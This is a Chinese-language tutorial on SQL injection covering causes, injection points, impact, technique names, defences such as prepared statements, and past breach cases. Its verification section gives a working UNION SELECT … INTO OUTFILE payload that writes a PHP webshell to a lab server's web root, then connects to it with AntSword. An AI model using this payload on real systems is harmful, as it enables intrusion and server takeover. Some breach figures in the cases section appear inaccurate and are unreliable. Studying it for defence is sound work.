SQL 注入漏洞详解
漏洞描述
sql注入漏洞是指恶意用户在应用与数据库交互的地方利用非法的操作获取数据库内容从以下两点分析:
- 没有对用户输入的数据进行充分的过滤和验证,导致一些用户利用此漏洞向数据库插入恶意sql语句非法请求数据库从而获得一些敏感数据
- 在与数据库交时未对用户可控参数进行足够的过滤,便将参数内容拼接到SOL 语句中,修改原有的sql语句逻辑,从而对数据库进行非法操作。
漏洞原理
通常在与数据库交互的地方,开发人员在处理和数据库交互时,未设置充足的过滤与验证或没对用户输入的参数进行控制时,非法用户利用漏洞,打破原有的sql语句,篡改原有语句的逻辑,从而使得数据库执行被篡改的sql语句,请求非正常授权内容。严重导致数据库数据泄露,数据篡改等
漏洞场景
sql注入漏洞一般存在于与数据交互的地方,例如:
- url参数传递
- 表单提交
- 搜索框
- http头文件
- cookie
- User-Agent
- Referer
漏洞评级
漏洞等级:高危
漏洞危害
SQL注入漏洞可能会导致严重的安全问题,其中包括
- 数据库数据泄露
- 数据库篡改
- 拒绝服务
- 数据库信息丢失
- 如果数据库权限分配不当或本身就存在缺陷,那么攻击者就会通过该漏洞直接获取webshell或服务器权限
漏洞验证
联合查询时使用into outfile函数进行文件上传
回显位写入一句话木马 最后加上函数和要上传的绝对路径
http://10.9.47.77/sqli-labs/Less-2/?id=2 and 1=2 union select 1,"<?php @eval ($_REQUEST[777]);?>",3 into outfile "C:/phpstudy_2016/www/yjh.php" --+
文件上传成功使用密码777进行连接测试phpinfo
打开蚁剑进行连接
漏洞利用
- 五大注入手法
- 联合查询注入
- 报错注入
- 布尔盲注
- 延时注入
- 其他注入
- 宽字节注入
- HTTP头部注入
- cookie注入
- User-Agent注入
- Base64注入
- Referer注入
- OOB 注入
防御方案
-
避免采用拼接的方式构造 SQL 语句,可以采用PDO预编译等技术;
-
对进入 SQL 语句的参数进行足够过滤。
-
部署安全设备,如 WAF。定制武器库
典型案例
2008年,Heartland Payment Systems公司遭受了一次SQL注入攻击,导致超过1300万张信用卡信息被窃取。攻击者利用了Heartland Payment Systems公司的网站上存在的SQL注入漏洞,注入了恶意代码,从而获取了信用卡信息。
2015年,美国联邦政府办公室人事管理局遭受了一次SQL注入攻击,导致超过2100万名联邦雇员的个人信息被窃取。攻击者利用了该机构网站上存在的SQL注入漏洞,注入了恶意代码,从而获取了个人信息。
2016年,菲律宾选举委员会遭受了一次SQL注入攻击,导致超过550万名选民的个人信息被窃取。攻击者利用了该机构网站上存在的SQL注入漏洞,注入了恶意代码,从而获取了选民的个人信息。
这些案例表明,SQL注入漏洞是一种非常严重的安全威胁,可以导致大量敏感数据被窃取。因此,开发人员和网站管理员需要认真对待SQL注入漏洞,采取必要的措施来防范和修复这种漏洞。